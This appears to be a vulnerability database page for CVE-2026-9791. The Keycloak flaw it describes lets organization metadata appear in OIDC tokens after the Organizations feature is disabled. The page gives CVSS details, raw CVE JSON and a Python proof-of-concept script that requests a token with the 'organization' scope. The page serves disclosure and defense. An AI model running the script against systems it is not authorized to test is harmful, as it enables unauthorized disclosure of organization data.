Security Vulnerability Report
中文
CVE-2026-9791 CVSS 4.3 MEDIUM

CVE-2026-9791

Published: 2026-05-28 05:16:40
Last Modified: 2026-05-28 05:16:40

Description

A flaw was found in Keycloak. An authenticated user with existing organization membership can exploit this flaw by accessing user-facing APIs, such as the account API or by requesting an OpenID Connect (OIDC) token with the 'organization' scope. This allows organization metadata to be disclosed in tokens, even after an administrator has explicitly disabled the Organizations feature, potentially leading to incorrect authorization decisions by resource servers.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Keycloak CVE-2026-9791 Organization Metadata Disclosure # Description: PoC to retrieve organization metadata via OIDC token request even when the feature is disabled. # Configuration target_url = "https://<keycloak-domain>/realms/<realm-name>/protocol/openid-connect/token" client_id = "<client-id>" # e.g., account-console username = "<attacker-username>" password = "<attacker-password>" def exploit(): # Payload requesting 'organization' scope which should be disabled data = { "grant_type": "password", "client_id": client_id, "username": username, "password": password, "scope": "openid profile email organization" # The key trigger } try: response = requests.post(target_url, data=data) if response.status_code == 200: token_data = response.json() access_token = token_data.get('access_token') print("[+] Exploit successful! Token received.") print("[+] Access Token (Base64):", access_token) print("[+] Decode the JWT to verify 'organization' claims are present.") else: print("[-] Request failed. Status code:", response.status_code) print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9791", "sourceIdentifier": "[email protected]", "published": "2026-05-28T05:16:39.977", "lastModified": "2026-05-28T05:16:39.977", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. An authenticated user with existing organization membership can exploit this flaw by accessing user-facing APIs, such as the account API or by requesting an OpenID Connect (OIDC) token with the 'organization' scope. This allows organization metadata to be disclosed in tokens, even after an administrator has explicitly disabled the Organizations feature, potentially leading to incorrect authorization decisions by resource servers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9791", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482458", "source": "[email protected]"}]}}